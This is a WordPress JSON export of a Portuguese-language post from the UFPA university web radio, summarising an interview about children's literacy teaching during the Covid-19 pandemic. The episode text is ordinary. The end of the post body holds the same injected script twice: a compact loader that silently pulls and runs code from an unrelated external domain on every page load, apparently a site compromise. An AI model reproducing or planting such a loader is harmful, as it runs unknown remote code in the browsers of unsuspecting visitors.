{"id":7672,"date":"2020-10-07T08:00:22","date_gmt":"2020-10-07T11:00:22","guid":{"rendered":"http:\/\/radio.ufpa.br\/?p=7672"},"modified":"2025-10-21T11:46:11","modified_gmt":"2025-10-21T14:46:11","slug":"alfabetizacao-na-pandemia","status":"publish","type":"post","link":"https:\/\/radio.ufpa.br\/index.php\/ufpa-ensino\/alfabetizacao-na-pandemia\/","title":{"rendered":"Alfabetiza\u00e7\u00e3o na pandemia"},"content":{"rendered":"<!--[if lt IE 9]><script>document.createElement('audio');<\/script><![endif]-->\n\t<div class=\"wp-playlist wp-audio-playlist wp-playlist-light\">\n\t\t\t<div class=\"wp-playlist-current-item\"><\/div>\n\t\t<audio controls=\"controls\" preload=\"none\" width=\"1178\"\n\t\t\t><\/audio>\n\t<div class=\"wp-playlist-next\"><\/div>\n\t<div class=\"wp-playlist-prev\"><\/div>\n\t<noscript>\n\t<ol>\n\t\t<li><a href='https:\/\/radio.ufpa.br\/wp-content\/uploads\/2020-2\/UFPA%20ENSINO%20-%20ALFABETIZA\u00c7\u00c3O%20NA%20PANDEMIA%20-%2007.10.20.mp3'>UFPA Ensino - Alfabetiza\u00e7\u00e3o na pandemia<\/a><\/li>\t<\/ol>\n\t<\/noscript>\n\t<script type=\"application\/json\" class=\"wp-playlist-script\">{\"type\":\"audio\",\"tracklist\":true,\"tracknumbers\":true,\"images\":true,\"artists\":true,\"tracks\":[{\"src\":\"https:\\\/\\\/radio.ufpa.br\\\/wp-content\\\/uploads\\\/2020-2\\\/UFPA ENSINO - ALFABETIZA\\u00c7\\u00c3O NA PANDEMIA - 07.10.20.mp3\",\"type\":\"audio\\\/mpeg\",\"title\":\"UFPA Ensino - Alfabetiza\\u00e7\\u00e3o na pandemia\",\"caption\":\"\",\"description\":\"\\\"UFPA ENSINO - ALFABETIZA\\u00c7\\u00c3O NA PANDEMIA - 07.10.20\\\". Genre: Other.\",\"meta\":{\"artist\":\"R\\u00e1dio Web UFPA\",\"album\":\"UFPA Ensino\",\"genre\":\"Other\",\"length_formatted\":\"30:55\"},\"image\":{\"src\":\"https:\\\/\\\/radio.ufpa.br\\\/wp-includes\\\/images\\\/media\\\/audio.svg\",\"width\":48,\"height\":64},\"thumb\":{\"src\":\"https:\\\/\\\/radio.ufpa.br\\\/wp-includes\\\/images\\\/media\\\/audio.svg\",\"width\":48,\"height\":64}}]}<\/script>\n<\/div>\n\t\n<p>No UFPA Ensino dessa semana falamos sobre Alfabetiza\u00e7\u00e3o na Pandemia. Para detalhar o tema, entrevistamos a professora Elizabeth Orofino L\u00facio, representante da Associa\u00e7\u00e3o Brasileira de Alfabetiza\u00e7\u00e3o e pesquisadora vinculada ao Programa de P\u00f3s-Gradua\u00e7\u00e3o em Inova\u00e7\u00e3o e Criatividade no Ensino Superior (PPGCIMES) e respons\u00e1vel da regi\u00e3o Norte pela pesquisa \u201cAlfabetiza\u00e7\u00e3o em Rede: Uma investiga\u00e7\u00e3o sobre o ensino remoto da alfabetiza\u00e7\u00e3o na Pandemia Covid-19 e a sobre a recep\u00e7\u00e3o da Pol\u00edtica Nacional de Alfabetiza\u00e7\u00e3o (PNA)\u201d.<\/p>\n<p>Em primeiro lugar, a professora nos explica que a alfabetiza\u00e7\u00e3o \u00e9 um processo complexo por natureza e que o cen\u00e1rio da pandemia delineia novos limites e evidencia desigualdades sociais que distanciam os cidad\u00e3os da cultura escrita. Desse modo, a pesquisa \u201cAlfabetiza\u00e7\u00e3o em Rede\u201d re\u00fane uma rede de pesquisadores para pensar como o processo de alfabetiza\u00e7\u00e3o est\u00e1 se efetivando nesse contexto diferenciado.<\/p>\n<p>Elizabeth Orofino exp\u00f5e que a pesquisa, a qual j\u00e1 conta com mais de 15 mil respostas de docentes, evidencia dois indicativos sobre como esse processo de alfabetiza\u00e7\u00e3o na pandemia, que s\u00e3o: o uso de materiais impressos e a distribui\u00e7\u00e3o de atividades via Whatsapp. Diante disso surge um novo questionamento: \u201ccomo pais que n\u00e3o s\u00e3o leitores fluentes, n\u00e3o s\u00e3o escritores fluentes ou at\u00e9 analfabetos, est\u00e3o ajudando essas crian\u00e7as nesse momento? Como as professoras est\u00e3o fazendo essa media\u00e7\u00e3o?\u201d, assinala a professora.<\/p>\n<p>A professora explana, ainda, que outra quest\u00e3o que a pesquisa tenta elucidar \u00e9 como se tem feito a inser\u00e7\u00e3o dos sujeitos no mundo da cultura escrita. \u201cPara inserir o sujeito no mundo da cultura escrita eu tenho que trabalhar com a tr\u00edade oralidade, leitura e escrita. Como que se tem feito isso?\u201d, questiona.<\/p>\n<p>A inclus\u00e3o digital \u00e9 outra quest\u00e3o levantada ao longo do programa, haja vista que o uso das tecnologias no processo de alfabetiza\u00e7\u00e3o durante a pandemia de Covid 19 reavivou a luta, sustentada principalmente pelos professores que lidam com cibercultura, pela internet livre e a disponibiliza\u00e7\u00e3o de um aparato tecnol\u00f3gico para cada aluno. Como alternativa, nota-se o uso de canais de televis\u00e3o para distribui\u00e7\u00e3o das aulas, o que para Elizabeth Orofino refor\u00e7a a ideia de \u201ceduca\u00e7\u00e3o banc\u00e1ria\u201d.<\/p>\n<p>\u201cPrecisamos criar atividades interativas, com co-autoria e participa\u00e7\u00e3o dos alunos, mas para isso temos que ter uma internet de qualidade. E para isso precisamos ter cada vez mais forma\u00e7\u00e3o\u201d, exp\u00f5e a professora, que cita como exemplo de espa\u00e7o de forma\u00e7\u00e3o o Programa de P\u00f3s-Gradua\u00e7\u00e3o em Inova\u00e7\u00e3o e Criatividade no Ensino Superior (PPGECIM\/UFPA), que convoca seus docentes e discentes a pensar novas metodologias.<\/p>\n<p>A professora refor\u00e7a que a pesquisa \u201cAlfabetiza\u00e7\u00e3o em Rede: Uma investiga\u00e7\u00e3o sobre o ensino remoto da alfabetiza\u00e7\u00e3o na Pandemia Covid-19 e a sobre a recep\u00e7\u00e3o da Pol\u00edtica Nacional de Alfabetiza\u00e7\u00e3o (PNA)\u201d, vem reunindo informa\u00e7\u00f5es valiosas para a articula\u00e7\u00e3o de uma nova forma\u00e7\u00e3o de alfabetizadores e a cria\u00e7\u00e3o de um elo com as redes municipais e estaduais, a partir de dados concretos e da voz ativa dos docentes.<\/p>\n<p>Sobre o Plano Nacional de Alfabetiza\u00e7\u00e3o, Elizabeth Orofino esclarece que se trata de uma pol\u00edtica que vai contra a mar\u00e9 dos estudos de alfabetiza\u00e7\u00e3o e linguagem, ao adotar o fonema como unidade de trabalho, enquanto todos os estudos atualizados do campo da linguagem adotam o discurso como unidade. Apesar da proposta homogeneizadora desta pol\u00edtica para todas as regi\u00f5es, a professora destaca que, na UFPA, o Laborat\u00f3rio Sert\u00e3o das \u00c1guas, junto ao F\u00f3rum de Alfabetiza\u00e7\u00e3o e Escrita Flor do Gr\u00e3o-Par\u00e1, v\u00eam produzindo conhecimento e propondo alternativas para a alfabetiza\u00e7\u00e3o que pensem as singularidades da regi\u00e3o Norte.<\/p>\n<p>Para saber mais sobre a realidade da Alfabetiza\u00e7\u00e3o na Pandemia, a partir da pesquisa \u201cAlfabetiza\u00e7\u00e3o em Rede: Uma investiga\u00e7\u00e3o sobre o ensino remoto da alfabetiza\u00e7\u00e3o na Pandemia Covid-19 e a sobre a recep\u00e7\u00e3o da Pol\u00edtica Nacional de Alfabetiza\u00e7\u00e3o (PNA)\u201d ou\u00e7a essa edi\u00e7\u00e3o do UFPA Ensino desta semana.<\/p>\n<p>Apresenta\u00e7\u00e3o: Fabr\u00edcio Queiroz<br \/>\nProdu\u00e7\u00e3o e roteiro: Susan Santiago<br \/>\nGrava\u00e7\u00e3o e montagem: Jo\u00e3o Nilo Ferreira e Karla Guimar\u00e3es<br \/>\nSupervis\u00e3o e edi\u00e7\u00e3o: Elissandra Batista e Fabr\u00edcio Queiroz<\/p>\n<p>O UFPA Ensino vai ao ar \u00e0s quartas-feiras, \u00e0s 10h e 21h.<br \/>\nHor\u00e1rios alternativos: Sexta-Feira, \u00e0s 19h e s\u00e1bado, \u00e0s 22h.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p> &#8230; <a title=\"Alfabetiza\u00e7\u00e3o na pandemia\" class=\"read-more\" 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